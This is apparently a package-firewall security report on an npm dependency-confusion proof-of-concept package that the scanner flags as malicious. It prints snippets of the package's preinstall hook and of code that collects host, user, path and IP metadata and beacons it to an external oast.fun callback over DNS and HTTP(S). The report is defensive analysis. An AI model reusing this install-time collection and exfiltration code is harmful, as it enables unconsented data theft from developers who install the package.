--- canonical: "https://firewall.lpm.dev/npm/stillm4ddpocs-demo-sprocket/v/999.9.20" markdown: "https://firewall.lpm.dev/npm/stillm4ddpocs-demo-sprocket/v/999.9.20.md" package: "stillm4ddpocs-demo-sprocket" report_status: "published" title: "stillm4ddpocs-demo-sprocket@999.9.20 npm security report" verdict: "malicious" version: "999.9.20" --- # stillm4ddpocs-demo-sprocket@999.9.20 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Unconsented disclosure of identifying network, user, filesystem-path, host, and project-owner metadata. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 999.9.20 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) npm preinstall runs code that fingerprints the host and consuming project, then sends the data externally. It uses DNS and HTTP(S) channels to increase delivery likelihood. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-22T22:32:55.410Z - **Finished:** 2026-08-22T22:33:22.677Z - **Download time:** 502 ms - **Static scan time:** 34 ms - **AI review time:** 26730 ms - **Total time:** 27267 ms ## Security analysis ### Published attack-surface review - **Summary:** npm preinstall runs code that fingerprints the host and consuming project, then sends the data externally. It uses DNS and HTTP(S) channels to increase delivery likelihood. - **Trigger:** npm installation (preinstall); requiring index.js also executes the collection flow. - **Impact:** Unconsented disclosure of identifying network, user, filesystem-path, host, and project-owner metadata. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-22T22:33:22.677Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time host and project metadata exfiltration through DNS and HTTP(S) beacons - **Attack narrative:** On npm installation, the preinstall hook runs index.js. It reads the consuming project's manifest, gathers host, username, home-directory, working-directory and network-identifying data, performs public-IP and DNS-resolver lookups, then encodes the JSON payload into DNS queries and posts it to a fixed external callback over HTTP and HTTPS. The stated research purpose does not establish consent from affected installers. - **Rationale:** This is concrete unconsented preinstall-time data exfiltration from the consuming environment through multiple external channels. The absence of credential theft or persistence does not mitigate the malicious install-time beaconing behavior. - **Files touched:** package.json, index.js, \/package.json - **Network endpoints:** da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun, https://api.ipify.org, https://icanhazip.com, https://ifconfig.me/ip, o-o.myaddr.l.google.com ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** preinstall executes index.js during npm installation., Collects host, username, home path, install path, local/public/resolver IPs, and consuming-project metadata., Exfiltrates the collected JSON via DNS plus HTTP and HTTPS to a fixed callback., Reads the consuming project's package.json from INIT\_CWD. - **Evidence against:** No child-process execution, payload download, persistence, or file writes were found., Source declares a dependency-confusion research purpose, but behavior still performs unconsented install-time data collection. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node index.js ``` ### 2. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 3. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. High: Trigger Reachable External Post Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** index.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches a fixed external POST callback. Public source snippet (untrusted): ```javascript Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => { ``` ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() preinstall executes index.js during npm installation. Public source snippet (untrusted): ```json "scripts": { "preinstall": "node index.js" } ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Collects host, username, home path, install path, local/public/resolver IPs, and consuming-project metadata. Public source snippet (untrusted): ```javascript function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, home ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** stillm4ddpocs-demo-sprocket - **Ecosystem:** npm - **Version:** 999.9.20 - **License:** ISC - **Version published:** 2026-08-22T22:27:32.260Z - **Package first seen:** 2026-08-22T20:17:30.429Z - **Package last seen:** 2026-08-23T00:06:02.557Z - **Known versions:** 3 - **Latest version:** 999.9.12 - **Appeal under review:** No - **Description:** AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte - **Author:** stillm4dd@wearehackerone.com - **Keywords:** security-research, dependency-confusion, proof-of-concept - **Artifact files:** 3 - **Artifact unpacked size:** 10,770 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()